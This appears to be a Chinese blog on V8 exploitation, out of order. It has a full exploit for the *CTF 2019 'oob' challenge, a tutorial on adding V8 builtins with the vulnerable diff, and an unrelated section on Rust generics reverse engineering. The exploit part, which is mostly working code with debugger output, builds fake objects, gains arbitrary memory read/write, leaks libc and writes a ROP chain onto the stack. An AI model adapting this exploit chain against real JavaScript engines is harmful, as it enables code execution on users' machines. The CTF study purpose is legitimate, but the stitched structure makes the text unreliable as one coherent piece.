pwndbg> job(0x3039bc2cf121)
0x3039bc2cf121: [FixedBigUint64Array]
- map: 0x2494f4ec2629 <Map>
- length: 0
- base_pointer: <nullptr>
- external_pointer: 0x5592936e2030
pwndbg> tele 0x3039bc2cf120
00:0000│ 0x3039bc2cf120 —▸ 0x2494f4ec2629 ◂— 0x2494f4ec01
01:0008│ 0x3039bc2cf128 ◂— 0
02:0010│ 0x3039bc2cf130 ◂— 0
03:0018│ 0x3039bc2cf138 —▸ 0x5592936e2030 —▸ 0x3039bc2cf3f1 ◂— 0x34daeca02e

数组对象本身的大小为0x48个字节,保存堆地址的数组的大小为0x20个字节(且二者在内存中相邻),我们可以直接创建一个新的大小为0x68的浮点数数组,然后将这些内容复制进去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var fake_bigint64arr_container = [0.1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
for (let off = 0; off < 13; off++) {
let v = read_addr(get_object_address(for_bigint_value) + BigInt(off) * 8n);
fake_bigint64arr_container[off] = int64_to_double(v);
}

// change the elements pointer
fake_bigint64arr_container[2] = int64_to_double(get_object_address(fake_bigint64arr_container) - 0x20n + 1n);
// get the heap pointer
heap_addr = double_to_int64(fake_bigint64arr_container[12]);
fake_bigintarr = treat_address_as_object(get_object_address(fake_bigint64arr_container) - 0x68n);

function read_at(addr) {
fake_bigint64arr_container[12] = int64_to_double(addr);
return fake_bigintarr[0];
}

function write_at(addr, value) {
fake_bigint64arr_container[12] = int64_to_double(addr);
fake_bigintarr[0] = value;
}

至此,正式攻击前的所有准备工作我们都已经安排妥当,而且我们还获取到了一个有效的堆地址。

注:在高版本下开启指针压缩的情况下,v8早就考虑到了相关的安全隐患,导致我们可能无法在整个对象堆空间中找到哪怕一个堆/libc/d8代码地址。至于这种情况下的堆指针如何获取,我们以后再来探究。

C.4 Getting Memory Maps

下面,我们需要思考的是,如何获取libc地址,这对于漏洞利用至关重要。

其实都走到这一步了,想要获取也不是一件难事。如果在调试时查看一下堆空间就可以知道,堆中存在几个已经被释放的大chunk,其中必然包含指向main_arena的指针。我们可以根据读取到的值大小来判断这到底是不是libc的指针,然后向前寻找,知道找到libc开头的标志性ELF字符串,这样就可以获取到libc基地址了。但这种方法的问题在于不稳定,虽然成功率很高但是效率太低,如果是远程环境的话可能需要很长时间。

下面介绍一条稳定的链条,通过这个指针链,可以找到d8 ELF中的代码地址。根据这个地址,可以获取d8 ELF的基地址,进而通过stdin这样的label获取libc基地址。

这条链的操作流程:找到任意一个map -> 找到map中的constructor地址 -> 找到constructor中的code地址 -> 该地址下方会保存一段代码,在代码中存在movabs指令,其操作数为一个d8 ELF内地址。

需要注意的是,不同的map可能有不同的地址偏移,需要选择合适的map。

1
2
3
4
5
var typemap = double_to_int64(fake_bigint64arr_container[0]) - 1n;
var constructor = read_at(typemap + 0x20n) - 1n;
var code = read_at(constructor + 0x30n) - 1n;
var elf_code_addr = read_at(code + 0x42n);
var elf_base = elf_code_addr - 0x10274E0n;

获取了ELF基地址之后,下面需要从ELF中提取libc地址,注意到这个地方:

1
2
3
4
5
pwndbg> tele 0x56218bf4b518
00:0000│ 0x56218bf4b518 (__cxa_terminate_handler) —▸ 0x7f89e51aa41a (abort) ◂— push rbp
01:0008│ 0x56218bf4b520 (__cxa_unexpected_handler) —▸ 0x56218bd7c550 (std::terminate()) ◂— push rbx
02:0010│ 0x56218bf4b528 (v8::base::ieee754::atan2(double, double)::tiny) ◂— 0x1a56e1fc2f8f359
03:0018│ 0x56218bf4b530 (v8::base::ieee754::atan2(double, double)::pi_lo) ◂— 0x3ca1a62633145c07

这里的abort函数是libc内函数,因此可以通过这个函数得到libc的基地址:

1
2
var abort_addr = read_at(elf_base + 0x12B4518n);
var libc_base = abort_addr - 0x2641an;

C.5 ROP && ORW

下面的操作就简单了,劫持控制流一把梭。在2.31及以下版本可以通过修改__free_hooksystem函数,然后在函数中创建局部变量即可。因为JS执行过程中对于生命周期结束的变量,会定期进行清除,因此创建地址在堆的局部变量,并写入字符串/bin/sh,即可完成利用。不过对于高版本来说,在没有__free_hook的情况下,可以尝试直接修改栈的返回地址。在gdb调试时通过bt命令可以查看堆栈情况,可以查询到的最初调用的函数是Builtins_JSEntry,通过修改这里为一个无效值然后继续执行的方法进行验证可知,当JS代码执行结束后,将会返回到这个函数。因此我们可以通过调试直接获取到返回地址所在的位置,结合在libc中能够找到的栈地址environ,可以计算出一个偏移量,然后直接写ROP链即可。

下面的利用代码在GNU C Library (Debian GLIBC 2.38-13) stable release version 2.38版本下测试通过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var open_addr = libc_base + 0xfe0d0n;
var read_addr = libc_base + 0xfea10n;
var puts_addr = libc_base + 0x77640n;
var environ = libc_base + 0x3532b0n;
var stack_addr = read_at(environ);
var rop_start = stack_addr - 0xbd0n;
console.log("ROP chain starts at: 0x" + rop_start.toString(16));
var poprdi_ret = libc_base + 0x28215n;
var poprsi_ret = libc_base + 0x29b29n;
var poprdx_ret = libc_base + 0x1085adn;

write_at(stack_addr, 0x67616c66n); // flag\x00
write_at(rop_start, poprdi_ret);
write_at(rop_start + 8n, stack_addr);
write_at(rop_start + 0x10n, poprsi_ret);
write_at(rop_start + 0x18n, 0n);
write_at(rop_start + 0x20n, open_addr);
write_at(rop_start + 0x28n, poprdi_ret);
write_at(rop_start + 0x30n, 3n);
write_at(rop_start + 0x38n, poprsi_ret);
write_at(rop_start + 0x40n, stack_addr);
write_at(rop_start + 0x48n, poprdx_ret);
write_at(rop_start + 0x50n, 0x40n);
write_at(rop_start + 0x58n, read_addr);
write_at(rop_start + 0x60n, poprdi_ret);
write_at(rop_start + 0x68n, stack_addr);
write_at(rop_start + 0x70n, puts_addr);

console.log("Script is about to end");

经过调试发现,console.log最终会调用write函数输出,且加或不加--allow-natives-syntax选项会对栈地址偏移产生影响,因此为了方便在不添加该选项时也能进行调试,可以在最后加上一条console.log,然后将断点下在write,即可获取脚本执行结束前一刻的程序状态,以验证自己获取到的偏移量是否正确。

C.6 Final EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
// -----------------------------------------------------------------------------------------------
// ---- int64 <-> double

var overlapping_buf = new ArrayBuffer(0x20);
var for_double_value = new Float64Array(overlapping_buf);
var for_bigint_value = new BigUint64Array(overlapping_buf);

function double_to_int64(double_value) {
for_double_value[0] = double_value;
return for_bigint_value[0];
}

function int64_to_double(int64_value) {
for_bigint_value[0] = int64_value;
return for_double_value[0];
}

// -----------------------------------------------------------------------------------------------
// ---- type confusion && get object address && treat address as object

var first_object = {"1": 2};
var second_object = [1, 2, 3];

var obj_arr = [first_object, second_object];
var float_arr = [0.1, 0.2, 0.3];

var float_typemap = float_arr.oob();
var obj_typemap = obj_arr.oob();

function get_object_address(object) { // return BigInt
obj_arr[0] = object;
obj_arr.oob(float_typemap);
let obj_addr = double_to_int64(obj_arr[0]) - 1n;
obj_arr.oob(obj_typemap);
return obj_addr;
}

function treat_address_as_object(addr) { // receive BigInt
float_arr[0] = int64_to_double(addr + 1n);
float_arr.oob(obj_typemap);
let fake_obj = float_arr[0];
float_arr.oob(float_typemap);
return fake_obj;
}

var first_object_addr = get_object_address(first_object);

// -----------------------------------------------------------------------------------------------
// ---- R/W anywhere (fake, implemented by float array)

var fake_object_container = [float_typemap, 0, 0, int64_to_double(0x10n * 0x100000000n)];
var container_addr = get_object_address(fake_object_container);
var fake_object = treat_address_as_object(container_addr + 0x30n);

function set_addr_to_rw(addr) {
fake_object_container[2] = int64_to_double(addr - 0x10n + 1n);
}

function get_rw_addr(idx) {
return double_to_int64(fake_object_container[2]) - 1n + 0x10n + BigInt(idx) * 8n;
}

function read_addr(addr) {
set_addr_to_rw(addr);
return double_to_int64(fake_object[0]);
}

function write_addr(addr, value) {
set_addr_to_rw(addr);
fake_object[0] = int64_to_double(value);
}

// -----------------------------------------------------------------------------------------------
// ---- R/W anywhere (real, implemented by BigUint64Array)

var fake_bigint64arr_container = [0.1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
for (let off = 0; off < 13; off++) {
let v = read_addr(get_object_address(for_bigint_value) + BigInt(off) * 8n);
fake_bigint64arr_container[off] = int64_to_double(v);
}

// change the elements pointer
fake_bigint64arr_container[2] = int64_to_double(get_object_address(fake_bigint64arr_container) - 0x20n + 1n);
// get the heap pointer
heap_addr = double_to_int64(fake_bigint64arr_container[12]);
fake_bigintarr = treat_address_as_object(get_object_address(fake_bigint64arr_container) - 0x68n);

function read_at(addr) {
fake_bigint64arr_container[12] = int64_to_double(addr);
return fake_bigintarr[0];
}

function write_at(addr, value) {
fake_bigint64arr_container[12] = int64_to_double(addr);
fake_bigintarr[0] = value;
}

// -----------------------------------------------------------------------------------------------
// ---- Leaking ELF addr

var typemap = double_to_int64(fake_bigint64arr_container[0]) - 1n;
var constructor = read_at(typemap + 0x20n) - 1n;
var code = read_at(constructor + 0x30n) - 1n;
var elf_code_addr = read_at(code + 0x42n);
var elf_base = elf_code_addr - 0x10274E0n;

// -----------------------------------------------------------------------------------------------
// ---- Leaking Libc addr

var abort_addr = read_at(elf_base + 0x12B4518n);
var libc_base = abort_addr - 0x2641an;
console.log("libc base: 0x" + libc_base.toString(16));
var system_addr = libc_base + 0x4dab0n;
var open_addr = libc_base + 0xfe0d0n;
var read_addr = libc_base + 0xfea10n;
var puts_addr = libc_base + 0x77640n;

// -----------------------------------------------------------------------------------------------
// ---- ROP

var environ = libc_base + 0x3532b0n;
var stack_addr = read_at(environ);
var rop_start = stack_addr - 0xbd0n;
console.log("ROP chain starts at: 0x" + rop_start.toString(16));
var poprdi_ret = libc_base + 0x28215n;
var poprsi_ret = libc_base + 0x29b29n;
var poprdx_ret = libc_base + 0x1085adn;

write_at(stack_addr, 0x67616c66n); // flag\x00
write_at(rop_start, poprdi_ret);
write_at(rop_start + 8n, stack_addr);
write_at(rop_start + 0x10n, poprsi_ret);
write_at(rop_start + 0x18n, 0n);
write_at(rop_start + 0x20n, open_addr);
write_at(rop_start + 0x28n, poprdi_ret);
write_at(rop_start + 0x30n, 3n);
write_at(rop_start + 0x38n, poprsi_ret);
write_at(rop_start + 0x40n, stack_addr);
write_at(rop_start + 0x48n, poprdx_ret);
write_at(rop_start + 0x50n, 0x40n);
write_at(rop_start + 0x58n, read_addr);
write_at(rop_start + 0x60n, poprdi_ret);
write_at(rop_start + 0x68n, stack_addr);
write_at(rop_start + 0x70n, puts_addr);

console.log("Script is about to end");

效果:

以前没有了解v8 pwn的时候,还以为这是什么非常高深莫测,很难学的东西,但实际上了解的基本原理后才发现,这东西实际上和PHP pwn差不多,都是用底层语言去解释执行另一门语言,PHP pwn中,我们使用的是C语言,而在v8中,我们使用的是C++语言来解释Javascript。

要理解v8 pwn的原理,首先需要学会如何魔改v8。v8是Chrome开发的一个开源Javascript执行引擎,编译完成的输出二进制文件为d8。

编译方法参考:传送门

注意在解决实际问题的时候要用对应的v8版本,之后:

  • 使用git reset --hard回退到对应的版本
  • 使用git apply应用题目的diff文件
  • 执行gclient sync -D进行同步
  • 执行tools/dev/gm.py x64.debug重新编译

最后一步要注意如果在Python执行过程中出现问题,可以在root权限下修改/usr/bin中Python的链接到Python2再尝试。(一般在编译较老版本的v8时会出现此类问题)

A. Builtins

A.1 Builtins Definitions

在v8中有很多的内置类型、方法与函数,包括基本类型(整数浮点数布尔值数组字符串等)等。这些内置类型在builtins-definitions.h中进行了定义(新版本位于builtins/builtins-definitions.h),下面是示例代码片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// v8 13.3.0, builtins/builtins-definitions.h, line 481
/* ES6 #sec-array.prototype.pop */ \
CPP(ArrayPop, kDontAdaptArgumentsSentinel) \
TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.push */ \
CPP(ArrayPush, kDontAdaptArgumentsSentinel) \
TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.shift */ \
CPP(ArrayShift, kDontAdaptArgumentsSentinel) \
/* ES6 #sec-array.prototype.unshift */ \
CPP(ArrayUnshift, kDontAdaptArgumentsSentinel) \
/* Support for Array.from and other array-copying idioms */ \
TFS(CloneFastJSArray, NeedsContext::kYes, kSource) \
TFS(CloneFastJSArrayFillingHoles, NeedsContext::kYes, kSource) \

可以看到,这里是定义了Javascript数组使用到的一些方法。但是使用的宏不同。这里的TFJTFS都是v8中定义的TurboFan优化宏定义,相较于直接调用底层C++代码执行的CPP定义更加高效。对于解题而言,我们只需要关注CPP即可。更多相关细节可参考:资料CPP宏的第二个参数kDontAdaptArgumentsSentinel指的是需要在C++实现代码中通过Receiver自行完成函数参数的接收,这个我们后面会看到。

A.2 Builtins Installation

如果我们需要对v8进行魔改,想让用户能够直接调用我们自己添加的函数或者方法,就一定需要在这个文件中添加函数的定义。但光有定义还不行,还需要在v8引擎启动的时候能够安装我们的函数。这就需要我们修改bootstrapper.cc(新版本为init/bootstrapper.cc),下面是示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// v8 13.3.0, init/bootstrapper.cc
SimpleInstallFunction(isolate_, proto, "findIndex",
Builtin::kArrayPrototypeFindIndex, 1, kDontAdapt);
SimpleInstallFunction(isolate_, proto, "findLast",
Builtin::kArrayPrototypeFindLast, 1, kDontAdapt);
SimpleInstallFunction(isolate_, proto, "findLastIndex",
Builtin::kArrayPrototypeFindLastIndex, 1, kDontAdapt);
SimpleInstallFunction(isolate_, proto, "lastIndexOf",
Builtin::kArrayPrototypeLastIndexOf, 1, kDontAdapt);
SimpleInstallFunction(isolate_, proto, "pop", Builtin::kArrayPrototypePop,
0, kDontAdapt);
SimpleInstallFunction(isolate_, proto, "push", Builtin::kArrayPrototypePush,
1, kDontAdapt);
SimpleInstallFunction(isolate_, proto, "reverse",
Builtin::kArrayPrototypeReverse, 0, kDontAdapt);
SimpleInstallFunction(isolate_, proto, "shift",
Builtin::kArrayPrototypeShift, 0, kDontAdapt);

使用SimpleInstallFunction函数进行安装。这个函数的参数含义是(Kimi生成):

1
2
3
4
5
6
7
8
9
10
11
12
13
Isolate* isolate:这是指向当前V8 Isolate实例的指针。Isolate是V8中用于隔离不同JavaScript环境的一个概念,每个Isolate实例代表一个独立的JavaScript执行环境。在V8中,Isolate用于管理内存分配、垃圾回收等。

Handle<JSObject> base:这是一个指向JSObject的Handle,JSObject是V8中表示JavaScript对象的类。这个参数指定了要在其上安装函数的JavaScript对象。

const char* name:这是一个指向C字符串的指针,表示要安装的函数的名称。这个名称将被用作JavaScript对象上函数的属性名。

Builtin call:这是一个Builtin函数指针,指向一个内置的C++函数,这个函数将作为JavaScript函数的实现。Builtin函数是V8提供的一组预定义的函数,用于执行常见的操作。

int len:这是一个整数,表示函数的参数长度,即函数可以接受的参数个数。

AdaptArguments adapt:这是一个函数指针,指向一个用于参数适配的函数。如果JavaScript函数的参数个数与Builtin函数的参数个数不匹配,adapt函数会被调用来适配参数。

PropertyAttributes attrs:这是一个枚举值,指定了安装到对象上的属性(在这个情况下是函数)的属性。PropertyAttributes定义了属性的一些特性,比如是否可枚举(DontEnum)、是否可写(DontDelete)和是否可配置(ReadOnly)。

这里第二个参数的几个常用传参有:

  • object_function:用于Object对象的方法
  • proto:函数原型
  • array_function:用于数组的函数

对于自定义函数,需要传入proto

A.3 Builtins Function

下面我们就来看看如何定义内置函数的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// v8 13.3.0, builtins/builtins-array.cc, line 380
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
Handle<Object> receiver = args.receiver();
if (!EnsureJSArrayWithWritableFastElements(isolate, receiver, &args, 1,
args.length() - 1)) {
return GenericArrayPush(isolate, &args);
}

Handle<JSArray> array = Cast<JSArray>(receiver);
bool has_read_only_length = JSArray::HasReadOnlyLength(array);

if (has_read_only_length) {
return GenericArrayPush(isolate, &args);
}

// Fast Elements Path
int to_add = args.length() - 1;
uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));
if (to_add == 0) return *isolate->factory()->NewNumberFromUint(len);

// Currently fixed arrays cannot grow too big, so we should never hit this.
DCHECK_LE(to_add, Smi::kMaxValue - Smi::ToInt(array->length()));

ElementsAccessor* accessor = array->GetElementsAccessor();
uint32_t new_length;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, new_length, accessor->Push(array, &args, to_add));
return *isolate->factory()->NewNumberFromUint((new_length));
}

上面就是ArrayPush的C++定义,使用BUILTIN宏完成函数体的定义。函数有参数args,表示Javascript函数的参数列表,argsBuiltinArguments类的指针。可以通过args.length()获取参数个数,args.at<>()获取第几个参数。

A.4 Builtin Installation 2

BUILTIN宏中还会定义一个Builtins::k???,这是用来定义返回值类型的关键结构。在老版本的compiler/typer.cc,新版的compiler/turbofan.cc中有函数:

Type Typer::Visitor::JSCallTyper(Type fun, Typer* t)

其中有一个很大的switch语句,我们需要在其中定义自定义函数的返回值类型。如果没有返回值则定义为Type::Undefined(),如果定义的是方法且返回值是该方法所属的对象,则定义为Type::Receiver()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// v8 13.3.0, compiler/turbofan.cc, line 2019
case Builtin::kArrayPrototypeJoin:
return Type::String();
case Builtin::kArrayPrototypeLastIndexOf:
return Type::Range(-1, kMaxSafeInteger, t->zone());
case Builtin::kArrayMap:
return Type::Receiver();
case Builtin::kArrayPush:
return t->cache_->kPositiveSafeInteger;
case Builtin::kArrayPrototypeReverse:
case Builtin::kArrayPrototypeSlice:
return Type::Receiver();
case Builtin::kArraySome:
return Type::Boolean();

除此之外,还有字符串Type::String()、布尔值Type::Boolean()、数值Type::PlainNumber()、不是数字Type::NaN()等。

A.5 Example 1

下面通过一个实例帮助我们更深刻地理解上述过程。

现在,我们需要实现一个内置函数,该函数可直接调用,接受一个数值参数,返回这个参数+100的值。

使用的v8版本为13.3.0,所有的builtins函数都在src/builtins/builtins-xxx.cc这一系列的文件中定义。我们可以新建一个文件叫builtins-myfunc.cc

由于我们新创建了一个文件,因此需要在v8根目录的BUILD.bazelBUILD.gn中的对应位置添加文件名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// v8 13.3.0, BUILD.bazel, line 1341
"src/builtins/builtins-function.cc",
"src/builtins/builtins-global.cc",
"src/builtins/builtins-internal.cc",
"src/builtins/builtins-json.cc",
"src/builtins/builtins-myfunc.cc",
"src/builtins/builtins-number.cc",
"src/builtins/builtins-object.cc",
"src/builtins/builtins-promise.h",

// v8 13.3.0, BUILD.gn, line 5420
"src/builtins/builtins-global.cc",
"src/builtins/builtins-internal.cc",
"src/builtins/builtins-intl.cc",
"src/builtins/builtins-json.cc",
"src/builtins/builtins-myfunc.cc",
"src/builtins/builtins-number.cc",
"src/builtins/builtins-object.cc",
"src/builtins/builtins-reflect.cc",

首先给出写好的代码,然后我们逐行分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include "src/builtins/builtins-utils-inl.h"

namespace v8 {
namespace internal {

BUILTIN(MyFunc) {
HandleScope scope(isolate);
Handle<Object> value = args.atOrUndefined(isolate, 1);

// 判断参数是否为基本类型
if (IsJSPrimitiveWrapper(*value)) {
value = handle(Cast<JSPrimitiveWrapper>(value)->value(), isolate);
}

// 判断参数是否为数字
if (!IsNumber(*value)) {
THROW_NEW_ERROR_RETURN_FAILURE(
isolate, NewTypeError(MessageTemplate::kArgumentIsNotUndefinedOrInteger,
isolate->factory()->NewStringFromAsciiChecked(
"My.Func"),
isolate->factory()->Number_string()));
}

// 将Object转换为浮点数
double const value_number = Object::NumberValue(*value);

return *isolate->factory()->NewNumber(value_number + 100);
}

}
}

这里首先需要包含src/builtins/builtins-utils-inl.h,以使用BUILTIN宏和参数解析的相关方法。然后我们编写的函数需要包在命名空间v8internal中。

BUILTIN后面的括号中写我们定义的函数名,第一句固定为HandleScope scope(isolate);

后面获取参数可以使用args.at(index)args.atOrUndefined(isolate, index),注意第一个参数的索引值为1,这两个方法的返回值都是Handle<Object>,也就是一个Javascript Object的封装,其中重新实现了*运算符用于获取其中的对象。

IsJSPrimitiveWrapper()用于判断一个Javascript Object是否是基本类型,IsNumber()则判断是否是数值类型。内部的THROW_NEW_ERROR_RETURN_FAILURE充当assert的作用,可提供报错,这里的MessageTemplate是一个枚举类型,其中包含很多错误类型。

后面的Object::NumberValue用于将一个Object类型转换为浮点数类型,当然这个Object类型本身需要是一个数值类型,因此我们在前面需要添加检查。下面的isolateBUILTIN宏中定义的主逻辑函数的一个参数,是当前Javascript引擎直接绑定的类型,也重新实现了*运算符。*isolate->factory()是经常使用的一个东西,这个Factory可以帮助我们创建Javascript对象,作为返回值返回。如这里的NewNumber方法即需要传入一个double类型返回一个Javascript Number类型。我们这里将浮点数加100的值传入该方法即可返回。

init/bootstrapper.cc中则需要添加下面几行:

1
2
3
{  // -- M y F u n c
SimpleInstallFunction(isolate_, global_object, "MyFunc", Builtin::kMyFunc, 1, kDontAdapt);
}

由于MyFunc是需要直接调用的,和eval类似,因此SimpleInstallFunction的第二个参数为global_object。如果仔细观察bootstrapper.cc中的其他安装函数调用,就会知道应该如何定义类似于Console.log这样的调用:

1
2
3
4
Handle<JSObject> math =
factory->NewJSObject(isolate_->object_function(), AllocationType::kOld);
JSObject::AddProperty(isolate_, global, "Math", math, DONT_ENUM);
SimpleInstallFunction(isolate_, math, "abs", Builtin::kMathAbs, 1, kAdapt);

方法很简单,首先使用factory->NewJSObject定义一个新的对象,然后在global这个全局的类中定义一个属性JSObject::AddProperty,将这个对象作为属性,并给个名字。后面就可以通过SimpleInstallFunction在这个类中定义函数作为属性了。

最终效果:

当然其他地方的定义也不能忘记:

1
2
3
4
5
6
7
8
// v8 13.3.0
// builtins/builtins-definition.h, line 134
CPP(MyFunc, kDontAdaptArgumentsSentinel) \

// compiler/turbofan-typer.cc, line 1847
switch (function.shared(t->broker()).builtin_id()) {
case Builtin::kMyFunc:
return Type::Number();

A.6 Example 2

上面我们自己完成了一个全局函数的简单定义,下面来看一下2019年*CTF的oob题目中对于Array类型的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

这里使用的v8版本为7.5,可以看到为Array类型定义了一个新的属性函数oob。我们重点关注一下实现细节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BUILTIN(ArrayOob){
uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
uint32_t length = static_cast<uint32_t>(array->length()->Number());
if(len == 1){
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}else{
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
}

首先判断了函数的参数个数,args.at(0)是这个方法的父类型实例,在第一个例子中是全局Object实例,在这里就应该是Array实例。因此这里len不能大于2,也就表示不能传入2个以上的参数。

下面的args.receiver()实际上就是在获取第0个参数,也就是Array实例,这里是使用Handle<JSArray>::cast完成的类型转换,不过在较新的C++中可以直接使用Cast转换。下面获取了数组的元素(array->elements)并转换为FixedDoubleArray类型。

然后通过array->length()->Number()首先获取数组长度的Javascript Number实例,再转换为uint32_t类型。下面判断,如果参数长度等于1(也就是不传参),就会出现问题,为什么呢,因为elements.get_scalar()就是获取对应下标的元素,但是获取length处的元素不就相当于溢出一个元素了吗?所以这里存在漏洞。

下面如果参数长度不为1,也会有一个溢出操作,就是element.set,将数组后面一个地方的值进行修改。从宏定义名来看,ASSIGN_RETURN_FAILURE_ON_EXCEPTION应该是可以带有检查地完成赋值操作,value应该被赋值为第一个参数,也就是传入的参数的值。这里我们简单验证一下是不是这样。

可以看到Debug输出下出现了问题,因为Debug模式输出会检查数组赋值。

如果在Release模式下运行,则是这个样子:

这里的输出会显示一个浮点数值。至于这个浮点数值具体为什么是这个数,我们将在下一篇blog中通过分析本题深入理解。

Reverse for Generics

泛型是高级编程语言中广泛使用的一种特性,能够帮助开发人员在构建代码时大大减少重复代码定义。在Rust中同样存在泛型定义。

从汇编的角度来看,泛型实际上是让编译器代替开发人员辅助完成代码构建。泛型特性本身并不会在汇编层面中被明确表现,具有不同泛型类型的类在编译后即会成为不同的类。

如在C++中,我们定义vector<int>vector<double>时,即已经告诉编译器应该如何定义vector数组中的元素长度,前者为4而后者为8。可以说,泛型的“动态”特性经过编译器的处理后,在汇编层将会成为完全静态的状态。

那么Rust对于泛型的处理是否和其他语言一样呢?开始测试。

Generics in Functions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fn largest<T: PartialOrd>(list: &[T]) -> &T {
let mut largest: &T = &list[0];
for item in list.iter() {
if item > largest {
largest = &item;
}
}
largest
}

pub fn main() {
let number_list = vec![34, 50, 25, 100, 65];
let result = largest(&number_list);
println!("The largest number is {}", result);
let char_list = vec!['y', 'm', 'a', 'q'];
let result = largest(&char_list);
println!("The largest char is {}", result);
}

上面这个示例是典型的泛型使用示例,这里是将泛型应用于函数参数与返回值中。

这里使用Rust 1.80.1版本以Debug配置进行编译,使用Ghidra进行反汇编。

可以看到,Rust对于泛型的处理和其他语言似乎是差不多的,在main函数中,调用了2次largest函数,泛型参数类型分别为i32char,因此这里Rust就生成了2个largest函数,在name mangling(参考资料)中看不出来两个函数的泛型参数,但是通过Hash值可知两个函数不同。

但是Ghidra却能够神奇地识别出来这两个函数哪个将泛型实现为char,哪个为i32。这又是如何做到的呢?

